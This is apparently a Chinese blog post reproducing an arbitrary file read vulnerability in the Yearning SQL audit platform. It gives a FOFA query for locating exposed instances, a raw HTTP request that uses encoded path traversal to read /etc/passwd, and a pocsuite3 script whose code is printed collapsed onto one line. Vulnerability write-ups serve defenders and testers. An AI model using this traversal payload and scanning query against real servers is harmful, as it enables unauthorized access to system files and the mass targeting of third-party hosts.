当前位置: 首页 > news >正文

漏洞复现-Yearning front 任意文件读取漏洞(附漏洞检测脚本)

免责声明

文章中涉及的漏洞均已修复,敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行负责

漏洞描述

Yearning是一款专业的SQL审核平台,对MYSQL web端SQL数据库进行审核的软件!Yearning支持SQL查询、SQL审核、推送、用户权限及管理等功能,免费开源。该系统Yearning 2.3.1 版本、Interstellar GA 2.3.2 版本和 Neptune 2.3.4 -2.3.6 版本存在任意文件读取漏洞。攻击者可以利用该漏洞获取敏感信息。

fofa语句

app="Yearning"

poc加检测

GET /front/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1

poc脚本

脚本使用的pocsuite框架

# _*_ coding:utf-8 _*_
# @Time : 2024/1/16
# @Author: 炼金术师诸葛亮
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_strclass yearning_front_fileread(POCBase):pocDesc = '''Yearning front 任意文件读取漏洞'''author = '炼金术师诸葛亮'createDate = '2024-1-16'name = 'Yearning front 任意文件读取漏洞'def _verify(self):result = {}url = self.url + '/front/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd'headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7','Accept-Language': 'zh-CN,zh;q=0.9','Accept-Encoding': 'gzip, deflate','Upgrade-Insecure-Requests': '1',"Connection": "close"}try:response = requests.get(url, headers=headers)if response.status_code == 200 and 'root' in response.text:result['VerifyInfo'] = {}return self.parse_output(result)except Exception as e:passregister_poc(yearning_front_fileread)

脚本利用

http://www.lryc.cn/news/281491.html

相关文章:

  • K8S中SC、PV、PVC的理解
  • Agisoft Metashape 基于影像的外部点云着色
  • 图解结算平台:准确高效给商户结款
  • 修改和调试 onnx 模型
  • 不同整数的最少数目和单词直接最短距离
  • 【Microsoft Edge】版本 109.0.1518.55 (正式版本) (64 位) 更新失败解决方案
  • 深度学习笔记(四)——使用TF2构建基础网络的常用函数+简单ML分类实现
  • 大模型学习篇(一):初识大模型
  • uni-app的学习【第二节】
  • matlab行操作快?还是列操作快?
  • 基于SSM的流浪动物救助站
  • 任务13:使用MapReduce对天气数据进行ETL(获取各基站ID)
  • @Controller层自定义注解拦截request请求校验
  • Ceph集群修改主机名
  • 玖章算术NineData通过阿里云PolarDB产品生态集成认证
  • (实战)oracle静默安装runInstaller数据库软件 --参数说明+举例
  • 利用Python的csv(CSV)库读取csv文件并取出某个单元格的内容的学习过程
  • Http三种常见状态码的区别(401、403、500)
  • 分布式锁实现用户锁
  • R语言【paleobioDB】——pbdb_subtaxa():统计指定类群下的子类群数量
  • 3.4 在开发中使用设计模式
  • docker搭建SSH镜像、systemctl镜像、nginx镜像、tomcat镜像
  • [linux] git clone一个repo,包括它的子模块submodule
  • K8S中使用helm安装MinIO
  • 寒假刷题第六天
  • 深度学习笔记(七)——基于Iris/MNIST数据集构建基础的分类网络算法实战
  • Windows启动MongoDB服务报错(错误 1053:服务没有及时响应启动或控制请求)
  • Android Framework 常见解决方案(25-2)定制CPUSET解决方案-system修改及编译部分调整
  • OpenAI推出GPT商店和ChatGPT Team服务
  • 3D建模素材分层渲染怎么操作?